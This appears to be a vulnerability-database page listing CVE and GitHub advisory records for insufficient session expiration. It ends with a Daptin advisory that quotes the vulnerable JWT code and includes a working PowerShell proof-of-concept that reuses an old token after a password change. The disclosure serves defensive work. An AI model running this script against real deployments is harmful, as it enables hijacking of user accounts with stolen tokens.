Common Weakness Enumeration

CWE-613

Allowed-with-Review

Insufficient Session Expiration

Abstraction: Base · Status: Incomplete

API response cwe.mitre.org

According to WASC, "Insufficient Session Expiration is when a web site permits an attacker to reuse old session credentials or session IDs for authorization."

876 vulnerabilities reference this CWE, most recent first.

CVE-2017-14007 (GCVE-0-2017-14007)

Vulnerability from cvelistv5 – Published: 2017-10-17 22:00 – Updated: 2024-08-05 19:13
VLAI
Summary
An Insufficient Session Expiration issue was discovered in ProMinent MultiFLEX M10a Controller web interface. The user's session is available for an extended period beyond the last activity, allowing an attacker to reuse an old session for authorization.
Severity
No CVSS data available.
CWE
Assigner
References
Impacted products
Vendor Product Version
n/a ProMinent MultiFLEX M10a Controller Affected: ProMinent MultiFLEX M10a Controller
Date Public
2017-10-17 00:00
Show details on NVD website
To clipboard 

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-05T19:13:41.620Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "name": "101259",
            "tags": [
              "vdb-entry",
              "x_refsource_BID",
              "x_transferred"
            ],
            "url": "http://www.securityfocus.com/bid/101259"
          },
          {
            "tags": [
              "x_refsource_MISC",
              "x_transferred"
            ],
            "url": "https://ics-cert.us-cert.gov/advisories/ICSA-17-285-01"
          }
        ],
        "title": "CVE Program Container"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "ProMinent MultiFLEX M10a Controller",
          "vendor": "n/a",
          "versions": [
            {
              "status": "affected",
              "version": "ProMinent MultiFLEX M10a Controller"
            }
          ]
        }
      ],
      "datePublic": "2017-10-17T00:00:00.000Z",
      "descriptions": [
        {
          "lang": "en",
          "value": "An Insufficient Session Expiration issue was discovered in ProMinent MultiFLEX M10a Controller web interface. The user\u0027s session is available for an extended period beyond the last activity, allowing an attacker to reuse an old session for authorization."
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-613",
              "description": "CWE-613",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2017-10-18T09:57:01.000Z",
        "orgId": "7d14cffa-0d7d-4270-9dc0-52cabd5a23a6",
        "shortName": "icscert"
      },
      "references": [
        {
          "name": "101259",
          "tags": [
            "vdb-entry",
            "x_refsource_BID"
          ],
          "url": "http://www.securityfocus.com/bid/101259"
        },
        {
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://ics-cert.us-cert.gov/advisories/ICSA-17-285-01"
        }
      ],
      "x_legacyV4Record": {
        "CVE_data_meta": {
          "ASSIGNER": "ics-cert@hq.dhs.gov",
          "ID": "CVE-2017-14007",
          "STATE": "PUBLIC"
        },
        "affects": {
          "vendor": {
            "vendor_data": [
              {
                "product": {
                  "product_data": [
                    {
                      "product_name": "ProMinent MultiFLEX M10a Controller",
                      "version": {
                        "version_data": [
                          {
                            "version_value": "ProMinent MultiFLEX M10a Controller"
                          }
                        ]
                      }
                    }
                  ]
                },
                "vendor_name": "n/a"
              }
            ]
          }
        },
        "data_format": "MITRE",
        "data_type": "CVE",
        "data_version": "4.0",
        "description": {
          "description_data": [
            {
              "lang": "eng",
              "value": "An Insufficient Session Expiration issue was discovered in ProMinent MultiFLEX M10a Controller web interface. The user\u0027s session is available for an extended period beyond the last activity, allowing an attacker to reuse an old session for authorization."
            }
          ]
        },
        "problemtype": {
          "problemtype_data": [
            {
              "description": [
                {
                  "lang": "eng",
                  "value": "CWE-613"
                }
              ]
            }
          ]
        },
        "references": {
          "reference_data": [
            {
              "name": "101259",
              "refsource": "BID",
              "url": "http://www.securityfocus.com/bid/101259"
            },
            {
              "name": "https://ics-cert.us-cert.gov/advisories/ICSA-17-285-01",
              "refsource": "MISC",
              "url": "https://ics-cert.us-cert.gov/advisories/ICSA-17-285-01"
            }
          ]
        }
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "7d14cffa-0d7d-4270-9dc0-52cabd5a23a6",
    "assignerShortName": "icscert",
    "cveId": "CVE-2017-14007",
    "datePublished": "2017-10-17T22:00:00.000Z",
    "dateReserved": "2017-08-30T00:00:00.000Z",
    "dateUpdated": "2024-08-05T19:13:41.620Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.1"
}

CVE-2017-12159 (GCVE-0-2017-12159)

Vulnerability from cvelistv5 – Published: 2017-10-26 17:00 – Updated: 2024-09-16 21:02
VLAI
Summary
It was found that the cookie used for CSRF prevention in Keycloak was not unique to each session. An attacker could use this flaw to gain access to an authenticated user session, leading to possible information disclosure or further attacks.
Severity
No CVSS data available.
CWE
Assigner
References
URL Tags
https://bugzilla.redhat.com/show_bug.cgi?id=1484111 x_refsource_CONFIRM
https://access.redhat.com/errata/RHSA-2017:2904 vendor-advisoryx_refsource_REDHAT
https://access.redhat.com/errata/RHSA-2017:2905 vendor-advisoryx_refsource_REDHAT
https://access.redhat.com/errata/RHSA-2017:2906 vendor-advisoryx_refsource_REDHAT
http://www.securityfocus.com/bid/101601 vdb-entryx_refsource_BID
Impacted products
Date Public
2017-10-17 00:00
Show details on NVD website
To clipboard 

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-05T18:28:16.484Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_refsource_CONFIRM",
              "x_transferred"
            ],
            "url": "https://bugzilla.redhat.com/show_bug.cgi?id=1484111"
          },
          {
            "name": "RHSA-2017:2904",
            "tags": [
              "vendor-advisory",
              "x_refsource_REDHAT",
              "x_transferred"
            ],
            "url": "https://access.redhat.com/errata/RHSA-2017:2904"
          },
          {
            "name": "RHSA-2017:2905",
            "tags": [
              "vendor-advisory",
              "x_refsource_REDHAT",
              "x_transferred"
            ],
            "url": "https://access.redhat.com/errata/RHSA-2017:2905"
          },
          {
            "name": "RHSA-2017:2906",
            "tags": [
              "vendor-advisory",
              "x_refsource_REDHAT",
              "x_transferred"
            ],
            "url": "https://access.redhat.com/errata/RHSA-2017:2906"
          },
          {
            "name": "101601",
            "tags": [
              "vdb-entry",
              "x_refsource_BID",
              "x_transferred"
            ],
            "url": "http://www.securityfocus.com/bid/101601"
          }
        ],
        "title": "CVE Program Container"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "keycloak",
          "vendor": "Red Hat, Inc.",
          "versions": [
            {
              "status": "affected",
              "version": "3.4.0"
            }
          ]
        }
      ],
      "datePublic": "2017-10-17T00:00:00.000Z",
      "descriptions": [
        {
          "lang": "en",
          "value": "It was found that the cookie used for CSRF prevention in Keycloak was not unique to each session. An attacker could use this flaw to gain access to an authenticated user session, leading to possible information disclosure or further attacks."
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-613",
              "description": "CWE-613",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2017-10-28T09:57:01.000Z",
        "orgId": "53f830b8-0a3f-465b-8143-3b8a9948e749",
        "shortName": "redhat"
      },
      "references": [
        {
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=1484111"
        },
        {
          "name": "RHSA-2017:2904",
          "tags": [
            "vendor-advisory",
            "x_refsource_REDHAT"
          ],
          "url": "https://access.redhat.com/errata/RHSA-2017:2904"
        },
        {
          "name": "RHSA-2017:2905",
          "tags": [
            "vendor-advisory",
            "x_refsource_REDHAT"
          ],
          "url": "https://access.redhat.com/errata/RHSA-2017:2905"
        },
        {
          "name": "RHSA-2017:2906",
          "tags": [
            "vendor-advisory",
            "x_refsource_REDHAT"
          ],
          "url": "https://access.redhat.com/errata/RHSA-2017:2906"
        },
        {
          "name": "101601",
          "tags": [
            "vdb-entry",
            "x_refsource_BID"
          ],
          "url": "http://www.securityfocus.com/bid/101601"
        }
      ],
      "x_legacyV4Record": {
        "CVE_data_meta": {
          "ASSIGNER": "secalert@redhat.com",
          "DATE_PUBLIC": "2017-10-17T00:00:00",
          "ID": "CVE-2017-12159",
          "STATE": "PUBLIC"
        },
        "affects": {
          "vendor": {
            "vendor_data": [
              {
                "product": {
                  "product_data": [
                    {
                      "product_name": "keycloak",
                      "version": {
                        "version_data": [
                          {
                            "version_value": "3.4.0"
                          }
                        ]
                      }
                    }
                  ]
                },
                "vendor_name": "Red Hat, Inc."
              }
            ]
          }
        },
        "data_format": "MITRE",
        "data_type": "CVE",
        "data_version": "4.0",
        "description": {
          "description_data": [
            {
              "lang": "eng",
              "value": "It was found that the cookie used for CSRF prevention in Keycloak was not unique to each session. An attacker could use this flaw to gain access to an authenticated user session, leading to possible information disclosure or further attacks."
            }
          ]
        },
        "problemtype": {
          "problemtype_data": [
            {
              "description": [
                {
                  "lang": "eng",
                  "value": "CWE-613"
                }
              ]
            }
          ]
        },
        "references": {
          "reference_data": [
            {
              "name": "https://bugzilla.redhat.com/show_bug.cgi?id=1484111",
              "refsource": "CONFIRM",
              "url": "https://bugzilla.redhat.com/show_bug.cgi?id=1484111"
            },
            {
              "name": "RHSA-2017:2904",
              "refsource": "REDHAT",
              "url": "https://access.redhat.com/errata/RHSA-2017:2904"
            },
            {
              "name": "RHSA-2017:2905",
              "refsource": "REDHAT",
              "url": "https://access.redhat.com/errata/RHSA-2017:2905"
            },
            {
              "name": "RHSA-2017:2906",
              "refsource": "REDHAT",
              "url": "https://access.redhat.com/errata/RHSA-2017:2906"
            },
            {
              "name": "101601",
              "refsource": "BID",
              "url": "http://www.securityfocus.com/bid/101601"
            }
          ]
        }
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "53f830b8-0a3f-465b-8143-3b8a9948e749",
    "assignerShortName": "redhat",
    "cveId": "CVE-2017-12159",
    "datePublished": "2017-10-26T17:00:00.000Z",
    "dateReserved": "2017-08-01T00:00:00.000Z",
    "dateUpdated": "2024-09-16T21:02:35.248Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.1"
}

CVE-2017-3215 (GCVE-0-2017-3215)

Vulnerability from cvelistv5 – Published: 2017-06-20 00:00 – Updated: 2024-08-05 14:16
VLAI
Summary
The Milwaukee ONE-KEY Android mobile application uses bearer tokens with an expiration of one year. This bearer token, in combination with a user_id can be used to perform user actions.
Severity
No CVSS data available.
CWE
Assigner
References
Impacted products
Vendor Product Version
Milwaukee Tool ONE-KEY Affected: unspecified
Create a notification for this product.
Date Public
2017-06-19 00:00
Show details on NVD website
To clipboard 

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-05T14:16:28.255Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_refsource_MISC",
              "x_transferred"
            ],
            "url": "https://duo.com/blog/bug-hunting-drilling-into-the-internet-of-things-iot"
          }
        ],
        "title": "CVE Program Container"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "ONE-KEY",
          "vendor": "Milwaukee Tool",
          "versions": [
            {
              "status": "affected",
              "version": "unspecified"
            }
          ]
        }
      ],
      "datePublic": "2017-06-19T00:00:00.000Z",
      "descriptions": [
        {
          "lang": "en",
          "value": "The Milwaukee ONE-KEY Android mobile application uses bearer tokens with an expiration of one year. This bearer token, in combination with a user_id can be used to perform user actions."
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-613",
              "description": "CWE-613",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2017-06-19T23:57:01.000Z",
        "orgId": "37e5125f-f79b-445b-8fad-9564f167944b",
        "shortName": "certcc"
      },
      "references": [
        {
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://duo.com/blog/bug-hunting-drilling-into-the-internet-of-things-iot"
        }
      ],
      "x_legacyV4Record": {
        "CVE_data_meta": {
          "ASSIGNER": "cert@cert.org",
          "ID": "CVE-2017-3215",
          "STATE": "PUBLIC"
        },
        "affects": {
          "vendor": {
            "vendor_data": [
              {
                "product": {
                  "product_data": [
                    {
                      "product_name": "ONE-KEY",
                      "version": {
                        "version_data": [
                          {
                            "version_value": ""
                          }
                        ]
                      }
                    }
                  ]
                },
                "vendor_name": "Milwaukee Tool"
              }
            ]
          }
        },
        "data_format": "MITRE",
        "data_type": "CVE",
        "data_version": "4.0",
        "description": {
          "description_data": [
            {
              "lang": "eng",
              "value": "The Milwaukee ONE-KEY Android mobile application uses bearer tokens with an expiration of one year. This bearer token, in combination with a user_id can be used to perform user actions."
            }
          ]
        },
        "problemtype": {
          "problemtype_data": [
            {
              "description": [
                {
                  "lang": "eng",
                  "value": "CWE-613"
                }
              ]
            }
          ]
        },
        "references": {
          "reference_data": [
            {
              "name": "https://duo.com/blog/bug-hunting-drilling-into-the-internet-of-things-iot",
              "refsource": "MISC",
              "url": "https://duo.com/blog/bug-hunting-drilling-into-the-internet-of-things-iot"
            }
          ]
        }
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "37e5125f-f79b-445b-8fad-9564f167944b",
    "assignerShortName": "certcc",
    "cveId": "CVE-2017-3215",
    "datePublished": "2017-06-20T00:00:00.000Z",
    "dateReserved": "2016-12-05T00:00:00.000Z",
    "dateUpdated": "2024-08-05T14:16:28.255Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.1"
}

CVE-2016-6545 (GCVE-0-2016-6545)

Vulnerability from cvelistv5 – Published: 2018-07-13 20:00 – Updated: 2024-08-06 01:36
VLAI
Title
iTrack Easy does not use session cookies to maintain sessions and POSTs the users password over HTTPS for each request
Summary
Session cookies are not used for maintaining valid sessions in iTrack Easy. The user's password is passed as a POST parameter over HTTPS using a base64 encoded passwd field on every request. In this implementation, sessions can only be terminated when the user changes the associated password.
Severity
No CVSS data available.
CWE
  • CWE-613 - Insufficient Session Expiration
Assigner
References
URL Tags
https://www.kb.cert.org/vuls/id/974055 third-party-advisoryx_refsource_CERT-VN
https://blog.rapid7.com/2016/10/25/multiple-bluet… x_refsource_MISC
http://www.securityfocus.com/bid/93875 vdb-entryx_refsource_BID
Impacted products
Vendor Product Version
iTrack Easy Unknown: N/A
Create a notification for this product.
Date Public
2016-10-25 00:00
Credits
Thanks to Deral Heiland and Adam Compton of Rapid7, Inc. for reporting this vulnerability.
Show details on NVD website
To clipboard 

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-06T01:36:27.393Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "name": "VU#974055",
            "tags": [
              "third-party-advisory",
              "x_refsource_CERT-VN",
              "x_transferred"
            ],
            "url": "https://www.kb.cert.org/vuls/id/974055"
          },
          {
            "tags": [
              "x_refsource_MISC",
              "x_transferred"
            ],
            "url": "https://blog.rapid7.com/2016/10/25/multiple-bluetooth-low-energy-ble-tracker-vulnerabilities/"
          },
          {
            "name": "93875",
            "tags": [
              "vdb-entry",
              "x_refsource_BID",
              "x_transferred"
            ],
            "url": "http://www.securityfocus.com/bid/93875"
          }
        ],
        "title": "CVE Program Container"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "Easy",
          "vendor": "iTrack",
          "versions": [
            {
              "status": "unknown",
              "version": "N/A"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "value": "Thanks to Deral Heiland and Adam Compton of Rapid7, Inc. for reporting this vulnerability."
        }
      ],
      "datePublic": "2016-10-25T00:00:00.000Z",
      "descriptions": [
        {
          "lang": "en",
          "value": "Session cookies are not used for maintaining valid sessions in iTrack Easy. The user\u0027s password is passed as a POST parameter over HTTPS using a base64 encoded passwd field on every request. In this implementation, sessions can only be terminated when the user changes the associated password."
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-613",
              "description": "CWE-613: Insufficient Session Expiration",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2018-07-14T09:57:01.000Z",
        "orgId": "37e5125f-f79b-445b-8fad-9564f167944b",
        "shortName": "certcc"
      },
      "references": [
        {
          "name": "VU#974055",
          "tags": [
            "third-party-advisory",
            "x_refsource_CERT-VN"
          ],
          "url": "https://www.kb.cert.org/vuls/id/974055"
        },
        {
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://blog.rapid7.com/2016/10/25/multiple-bluetooth-low-energy-ble-tracker-vulnerabilities/"
        },
        {
          "name": "93875",
          "tags": [
            "vdb-entry",
            "x_refsource_BID"
          ],
          "url": "http://www.securityfocus.com/bid/93875"
        }
      ],
      "source": {
        "discovery": "UNKNOWN"
      },
      "title": "iTrack Easy does not use session cookies to maintain sessions and POSTs the users password over HTTPS for each request",
      "x_legacyV4Record": {
        "CVE_data_meta": {
          "ASSIGNER": "cert@cert.org",
          "ID": "CVE-2016-6545",
          "STATE": "PUBLIC",
          "TITLE": "iTrack Easy does not use session cookies to maintain sessions and POSTs the users password over HTTPS for each request"
        },
        "affects": {
          "vendor": {
            "vendor_data": [
              {
                "product": {
                  "product_data": [
                    {
                      "product_name": "Easy",
                      "version": {
                        "version_data": [
                          {
                            "affected": "?",
                            "version_affected": "?",
                            "version_value": "N/A"
                          }
                        ]
                      }
                    }
                  ]
                },
                "vendor_name": "iTrack"
              }
            ]
          }
        },
        "credit": [
          {
            "lang": "eng",
            "value": "Thanks to Deral Heiland and Adam Compton of Rapid7, Inc. for reporting this vulnerability."
          }
        ],
        "data_format": "MITRE",
        "data_type": "CVE",
        "data_version": "4.0",
        "description": {
          "description_data": [
            {
              "lang": "eng",
              "value": "Session cookies are not used for maintaining valid sessions in iTrack Easy. The user\u0027s password is passed as a POST parameter over HTTPS using a base64 encoded passwd field on every request. In this implementation, sessions can only be terminated when the user changes the associated password."
            }
          ]
        },
        "problemtype": {
          "problemtype_data": [
            {
              "description": [
                {
                  "lang": "eng",
                  "value": "CWE-613: Insufficient Session Expiration"
                }
              ]
            }
          ]
        },
        "references": {
          "reference_data": [
            {
              "name": "VU#974055",
              "refsource": "CERT-VN",
              "url": "https://www.kb.cert.org/vuls/id/974055"
            },
            {
              "name": "https://blog.rapid7.com/2016/10/25/multiple-bluetooth-low-energy-ble-tracker-vulnerabilities/",
              "refsource": "MISC",
              "url": "https://blog.rapid7.com/2016/10/25/multiple-bluetooth-low-energy-ble-tracker-vulnerabilities/"
            },
            {
              "name": "93875",
              "refsource": "BID",
              "url": "http://www.securityfocus.com/bid/93875"
            }
          ]
        },
        "source": {
          "discovery": "UNKNOWN"
        }
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "37e5125f-f79b-445b-8fad-9564f167944b",
    "assignerShortName": "certcc",
    "cveId": "CVE-2016-6545",
    "datePublished": "2018-07-13T20:00:00.000Z",
    "dateReserved": "2016-08-03T00:00:00.000Z",
    "dateUpdated": "2024-08-06T01:36:27.393Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.1"
}

GHSA-24VJ-7479-5MQC

Vulnerability from github – Published: 2022-06-21 00:00 – Updated: 2022-06-29 00:00
VLAI
Details

IBM Curam Social Program Management 8.0.0 and 8.0.1 does not invalidate session after logout which could allow an authenticated user to impersonate another user on the system. IBM X-Force ID: 218281.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-22317"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-613"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-06-20T17:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "IBM Curam Social Program Management 8.0.0 and 8.0.1 does not invalidate session after logout which could allow an authenticated user to impersonate another user on the system. IBM X-Force ID: 218281.",
  "id": "GHSA-24vj-7479-5mqc",
  "modified": "2022-06-29T00:00:57Z",
  "published": "2022-06-21T00:00:45Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-22317"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/218281"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/6596049"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-258C-965C-P3HC

Vulnerability from github – Published: 2026-05-07 02:57 – Updated: 2026-05-07 02:57
VLAI
Summary
Daptin's Session Management Vulnerability Leads to Insufficient Session Expiration After Password Change
Details

Summary

A session invalidation vulnerability exists in daptin's authentication system where JSON Web Tokens (JWTs) remain fully valid after a user changes their password. The JWT validation middleware (CheckJWT) only verifies token signature, expiry, issuer, and signing algorithm — it does not check whether the token was issued before the most recent password change. The password update code path hashes the new password but never calls InvalidateAuthCacheForEmail() and never revokes or blacklists existing tokens. This effectively negating password rotation as an incident response control.

Vulnerable Files

  • daptin/server/jwt/jwtmiddleware.go — JWT validation without session versioning
  • daptin/server/resource/resource_update.go — password update without session invalidation
  • daptin/server/actions/action_generate_jwt_token.go — JWT claims lack password version
  • daptin/server/auth/auth.go — InvalidateAuthCacheForEmail exists but not called on update
  • daptin/server/resource/columns.go — password change action wiring

Vulnerable Code Snippet

1. JWT validation checks nothing beyond signature/expiry/issuer (jwtmiddleware.go:232-260):

// Now parse the token
parsedToken, err := jwt.Parse(token, m.Options.ValidationKeyGetter)

// Check if there was an error in parsing...
if err != nil {
    m.logf("Error parsing token: %v", err)
    m.Options.ErrorHandler(w, r, err.Error())
    return nil, fmt.Errorf("Error parsing token: %v", err)
}

if parsedToken.Claims.(jwt.MapClaims)["iss"] != m.Options.Issuer {
    return nil, fmt.Errorf("Invalid issuer: %v", parsedToken.Header["iss"])
}

if m.Options.SigningMethod != nil && m.Options.SigningMethod.Alg() != parsedToken.Header["alg"] {
    // ... algorithm check
}

// Check if the parsed token is valid...
if !parsedToken.Valid {
    m.logf("Token is invalid")
    m.Options.ErrorHandler(w, r, "The token isn't valid")
    return nil, errors.New("Token is invalid")
}

No check exists for password version, session version, or token revocation status. A token issued before a password change passes all these checks identically.

2. Password update hashes new password but never invalidates sessions (resource_update.go:282-287):

if col.ColumnType == "password" {
    val, err = BcryptHashString(val.(string))
    if err != nil {
        log.Errorf("Failed to convert string to bcrypt hash, not storing the value: %v", err)
        continue
    }
}

The new bcrypt hash is stored, but no call to auth.InvalidateAuthCacheForEmail() is made, and no token revocation mechanism is triggered.

3. JWT claims lack any password-bound claim (action_generate_jwt_token.go:74-83):

token := jwt.NewWithClaims(jwt.SigningMethodHS256, jwt.MapClaims{
    "email": existingUser["email"],
    "sub":   daptinid.InterfaceToDIR(existingUser["reference_id"]).String(),
    "name":  existingUser["name"],
    "nbf":   timeNow.Unix(),
    "exp":   timeNow.Add(time.Duration(d.tokenLifeTime) * time.Hour).Unix(),
    "iss":   d.jwtTokenIssuer,
    "iat":   timeNow.Unix(),
    "jti":   u.String(),
})

Claims include email, sub, name, nbf, exp, iss, iat, jti — but no pwd_version or equivalent claim that could be compared against a server-side value during validation.

4. InvalidateAuthCacheForEmail exists but is NOT called on password update (auth.go:520-530):

func InvalidateAuthCacheForEmail(email string) {
    if olricCache == nil {
        return
    }
    _, err := olricCache.Delete(context.Background(), email)
    if err != nil {
        log.Warnf("failed to invalidate auth cache for %s: %v", email, err)
    }
}

This function is called in resource_create.go:470, resource_delete.go:73, and dbmethods.go:1194 — but never in resource_update.go, which is the code path for password changes.

PoC (Proof of Concept)

Manual Exploitation Steps

  1. Create a user account on the daptin instance
  2. Sign in and capture the JWT (this becomes the "stolen" token)
  3. Change the user's password via PATCH /api/user_account/{id}
  4. Reuse the original JWT — it still returns HTTP 200 with full data access
  5. Confirm the old password no longer works for new login (password did change)
  6. Confirm the old token still allows write operations (full CRUD retained)

Result: HTTP 200 — write operations also succeed with the old token.

Automation PoC

# VULN-04: No Session Invalidation After Password Change
# CWE-613 | daptin v0.9.82
# Proves: old JWT stays valid after password change

$BASE = "http://127.0.0.1:6336"
Write-Host "`n===== VULN-04: Session Invalidation Test =====`n" -ForegroundColor Cyan

# Step 0: Clean restart
Write-Host "[0] Restarting container..." -ForegroundColor Yellow
docker compose -f "c:\Users\Vashu\Desktop\Projects\ZeroDay\cve_hunt\daptin\docker-compose.yml" restart daptin
Start-Sleep 8

# Step 1: Create victim user
Write-Host "[1] Creating victim user..." -ForegroundColor Yellow
$s = @{attributes=@{email='victim04@p.me';password='OrigPass123!';passwordConfirm='OrigPass123!';name='victim04'}} | ConvertTo-Json
try { Invoke-RestMethod -Uri "$BASE/action/user_account/signup" -Method Post -ContentType 'application/json' -Body $s | Out-Null } catch {}

# Step 2: Sign in, capture OLD token (simulates stolen token)
Write-Host "[2] Signing in for OLD token..." -ForegroundColor Yellow
$si = @{attributes=@{email='victim04@p.me';password='OrigPass123!'}} | ConvertTo-Json
$r = Invoke-RestMethod -Uri "$BASE/action/user_account/signin" -Method Post -ContentType 'application/json' -Body $si
$OLD = ($r | Where-Object {$_.ResponseType -eq 'client.store.set'}).Attributes.value
Write-Host "  OLD token captured (len=$($OLD.Length))" -ForegroundColor Green

# Step 3: Get victim ID
$ua = Invoke-RestMethod -Uri "$BASE/api/user_account" -Headers @{Authorization="Bearer $OLD"}
$ID = ($ua.data | Where-Object {$_.attributes.email -eq 'victim04@p.me'} | Select-Object -First 1).id
Write-Host "[3] Victim ID: $ID" -ForegroundColor Green

# Step 4: VICTIM CHANGES PASSWORD
Write-Host "[4] *** VICTIM CHANGES PASSWORD ***" -ForegroundColor Red
$p = @{data=@{type='user_account';id=$ID;attributes=@{password='NewPass456!'}}} | ConvertTo-Json -Depth 8
Invoke-RestMethod -Uri "$BASE/api/user_account/$ID" -Method Patch -Headers @{Authorization="Bearer $OLD"} -ContentType 'application/vnd.api+json' -Body $p | Out-Null
Write-Host "  Password changed." -ForegroundColor Green

# Step 5: OLD token still works?
Write-Host "[5] Testing OLD token after password change..." -ForegroundColor Red
try {
  $t = Invoke-RestMethod -Uri "$BASE/api/user_account" -Headers @{Authorization="Bearer $OLD"}
  Write-Host "  RESULT: OLD token STILL VALID (HTTP 200, $($t.data.Count) records)" -ForegroundColor Red
  Write-Host "  *** VULN CONFIRMED: Session NOT invalidated after password change ***" -ForegroundColor Red
} catch {
  Write-Host "  RESULT: OLD token REJECTED" -ForegroundColor Green
}

# Step 6: Write test with OLD token
Write-Host "[6] Write test with OLD token..." -ForegroundColor Yellow
try {
  $wp = @{data=@{type='user_account';id=$ID;attributes=@{name='hacked_by_old_token'}}} | ConvertTo-Json -Depth 8
  Invoke-RestMethod -Uri "$BASE/api/user_account/$ID" -Method Patch -Headers @{Authorization="Bearer $OLD"} -ContentType 'application/vnd.api+json' -Body $wp | Out-Null
  Write-Host "  WRITE SUCCEEDED with old token!" -ForegroundColor Red
} catch {
  Write-Host "  Write rejected" -ForegroundColor Green
}

# Step 7: New password works for login?
Write-Host "[7] New password login..." -ForegroundColor Yellow
$si2 = @{attributes=@{email='victim04@p.me';password='NewPass456!'}} | ConvertTo-Json
$r2 = Invoke-RestMethod -Uri "$BASE/action/user_account/signin" -Method Post -ContentType 'application/json' -Body $si2
$NEW = ($r2 | Where-Object {$_.ResponseType -eq 'client.store.set'}).Attributes.value
Write-Host "  New password login: SUCCESS" -ForegroundColor Green

# Step 8: Old password rejected for login?
Write-Host "[8] Old password login attempt..." -ForegroundColor Yellow
$si3 = @{attributes=@{email='victim04@p.me';password='OrigPass123!'}} | ConvertTo-Json
try {
  Invoke-RestMethod -Uri "$BASE/action/user_account/signin" -Method Post -ContentType 'application/json' -Body $si3 | Out-Null
  Write-Host "  Old password STILL WORKS (unexpected!)" -ForegroundColor Red
} catch {
  Write-Host "  Old password REJECTED (password change confirmed)" -ForegroundColor Green
}

# Step 9: Multi-token test
Write-Host "[9] Multi-token persistence test..." -ForegroundColor Yellow
$toks = @()
for ($i=0; $i -lt 3; $i++) {
  $rl = Invoke-RestMethod -Uri "$BASE/action/user_account/signin" -Method Post -ContentType 'application/json' -Body $si2
  $toks += ($rl | Where-Object {$_.ResponseType -eq 'client.store.set'}).Attributes.value
}
$p2 = @{data=@{type='user_account';id=$ID;attributes=@{password='ThirdPass789!'}}} | ConvertTo-Json -Depth 8
Invoke-RestMethod -Uri "$BASE/api/user_account/$ID" -Method Patch -Headers @{Authorization="Bearer $($toks[0])"} -ContentType 'application/vnd.api+json' -Body $p2 | Out-Null
Write-Host "  Password changed again. Testing all 3 pre-change tokens:"
for ($i=0; $i -lt $toks.Count; $i++) {
  try {
    Invoke-RestMethod -Uri "$BASE/api/user_account" -Headers @{Authorization="Bearer $($toks[$i])"} | Out-Null
    Write-Host "  Token $($i+1): STILL VALID" -ForegroundColor Red
  } catch {
    Write-Host "  Token $($i+1): REJECTED" -ForegroundColor Green
  }
}

# Step 10: JWT decode
Write-Host "`n[10] JWT Claims Analysis:" -ForegroundColor Yellow
if ($OLD) {
  $parts = $OLD.Split('.')
  $pl = $parts[1]
  $pad = 4 - ($pl.Length % 4)
  if ($pad -ne 4) { $pl += "=" * $pad }
  $pl = $pl.Replace("-","+").Replace("_","/")
  $bytes = [Convert]::FromBase64String($pl)
  $json = [Text.Encoding]::UTF8.GetString($bytes)
  Write-Host "  Payload: $json" -ForegroundColor Cyan
}
Write-Host "  Missing: pwd_version / session_version claim" -ForegroundColor Red
Write-Host "  Missing: token revocation on password change" -ForegroundColor Red

